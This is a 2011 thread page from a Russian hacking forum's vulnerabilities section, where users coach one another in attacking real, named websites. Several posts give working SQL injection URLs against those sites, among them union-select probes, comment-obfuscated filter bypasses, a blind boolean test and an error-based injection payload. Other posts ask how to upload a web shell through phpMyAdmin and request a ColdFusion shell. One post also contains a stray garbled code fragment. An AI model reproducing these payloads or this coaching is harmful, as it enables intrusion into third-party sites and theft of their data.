HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1626 из 2422 « Первая < 6261126152615761616 1622 1623 1624 1625 1626 1627 1628 1629 1630 1636167617262126 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.03.2011, 17:12
asql
Познающий
Регистрация: 19.02.2011
Сообщений: 32
С нами: 8014646

Репутация: -3
По умолчанию
http://www.hawkingtech.com/products/index.php?CatID=-32+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+

идет фильтрация кавычек...

как можно обойти?

заранее спс

и вот еще интересная

http://www.mibf.ru/index.php?id=99999/**//*!union*//**//*!select*/1,2,3,4,5,6,7,8,9,10/*
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 11.03.2011, 17:45
foozzi
Новичок
Регистрация: 13.04.2010
Сообщений: 0
С нами: 8462565

Репутация: 0
По умолчанию
как залить шелл если имеется доступ только к pma? права root
 
Ответить с цитированием

  #3  
Старый 11.03.2011, 18:57
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию
Цитата:
Сообщение от foozzi  
как залить шелл если имеется доступ только к pma? права root
/thread133925-phpmyadmin+shell.html
 
Ответить с цитированием

  #4  
Старый 11.03.2011, 20:18
freezed
Участник форума
Регистрация: 27.08.2010
Сообщений: 154
С нами: 8268086

Репутация: 7
По умолчанию
Цитата:
Сообщение от asql  
http://www.hawkingtech.com/products/index.php?CatID=-32+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+
идет фильтрация кавычек...
как можно обойти?
заранее спс
а кавычки тут и не нужны, параметр-то числовой

почему не работает юнион:

http://www.hawkingtech.com/products/index.php?CatID=32+and+substring(version(),1,1)=3 true

Цитата:
Сообщение от asql  
и вот еще интересная
http://www.mibf.ru/index.php?id=99999/**//*!union*//**//*!select*/1,2,3,4,5,6,7,8,9,10/*
помимо гета есть еще и пост
 
Ответить с цитированием

  #5  
Старый 11.03.2011, 20:29
asql
Познающий
Регистрация: 19.02.2011
Сообщений: 32
С нами: 8014646

Репутация: -3
По умолчанию
Цитата:
Сообщение от None  
почему не работает юнион:
http://www.hawkingtech.com/products/index.php?CatID=32+and+substring(version(),1,1)=3 true
не катит, выдает

Can't execute query SELECT * FROM families WHERE CatID=32 and substring(version(),1,1)=3 true AND date_archived IS NULL ORDER BY orderval

Error: You have an error in your SQL syntax near 'true AND date_archived IS NULL ORDER BY orderval' at line 1

может я что то не так делаю... хз..
 
Ответить с цитированием

  #6  
Старый 11.03.2011, 20:46
freezed
Участник форума
Регистрация: 27.08.2010
Сообщений: 154
С нами: 8268086

Репутация: 7
По умолчанию
Цитата:
Сообщение от Moriarty  
Цитата:
Сообщение от freezed  
почему не работает юнион:
Может потому, что его не было в 3 ветке?! =\
" if author else f"
Цитата:
Moriarty said:
Цитата:
Сообщение от freezed  
почему не работает юнион:
Может потому, что его не было в 3 ветке?! =\
а где ты там вопрос увидел?
 
Ответить с цитированием

  #7  
Старый 11.03.2011, 21:09
asql
Познающий
Регистрация: 19.02.2011
Сообщений: 32
С нами: 8014646

Репутация: -3
По умолчанию
Цитата:
Сообщение от Moriarty  
Не загоняй! true к запросу не относится! Это означает что мускул 3ей ветки!
Может потому, что его не было в 3 ветке?! =\
ввожу

http://www.hawkingtech.com/products/index.php?CatID=32+and+substring(version(),1,1)=3

выдает норм страницу...

Вы строго не судите меня, я новичок в этом святом деле=)

и если можно , то прошу объяснить принцып действия тут вот этого

Цитата:
Сообщение от None  
substring(version(),1,1)=3
именно подбор полей как происходит? типа этого?

Цитата:
Сообщение от None  
substring(1)=1
substring(1,2)=2
substring(1,2,3)=3
или дайте линк...
 
Ответить с цитированием

  #8  
Старый 11.03.2011, 21:27
aka_zver
Постоянный
Регистрация: 17.09.2009
Сообщений: 775
С нами: 8762549

Репутация: 1069


По умолчанию
Цитата:
Сообщение от asql  
ввожу
http://www.hawkingtech.com/products/index.php?CatID=32+and+substring(version(),1,1)=3
выдает норм страницу...
Вы строго не судите меня, я новичок в этом святом деле=)
и если можно , то прошу объяснить принцып действия тут вот этого
именно подбор полей как происходит? типа этого?
или дайте линк...
/thread18552-blind+sql.html - вот это

https://rdot.org/forum/showthread.php?t=245 - потом это

https://rdot.org/forum/showthread.php?t=503 - и напоследок

согласно 3 ссылке и описанному там методу MySQL 3 error based inj, раскручивать её можно через вывод в ошибке, т.е (лишние пробелы, вставляемые форумом, убрать)

Код:
http://www.hawkingtech.com/products/index.php?CatID=32+or+1+group+by+concat(version(),floor(rand(0)*2))+having+min(0)+or+1+--+
 
Ответить с цитированием

  #9  
Старый 11.03.2011, 22:12
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами: 8803961

Репутация: 8
По умолчанию
Интересует полноценный шелл на Macromedia ColdFusion.
 
Ответить с цитированием

  #10  
Старый 11.03.2011, 22:32
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию
Цитата:
Сообщение от FlaktW  
Интересует полноценный шелл на Macromedia ColdFusion.
/thread239916.html
 
Ответить с цитированием
Ответ
Страница 1626 из 2422 « Первая < 6261126152615761616 1622 1623 1624 1625 1626 1627 1628 1629 1630 1636167617262126 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.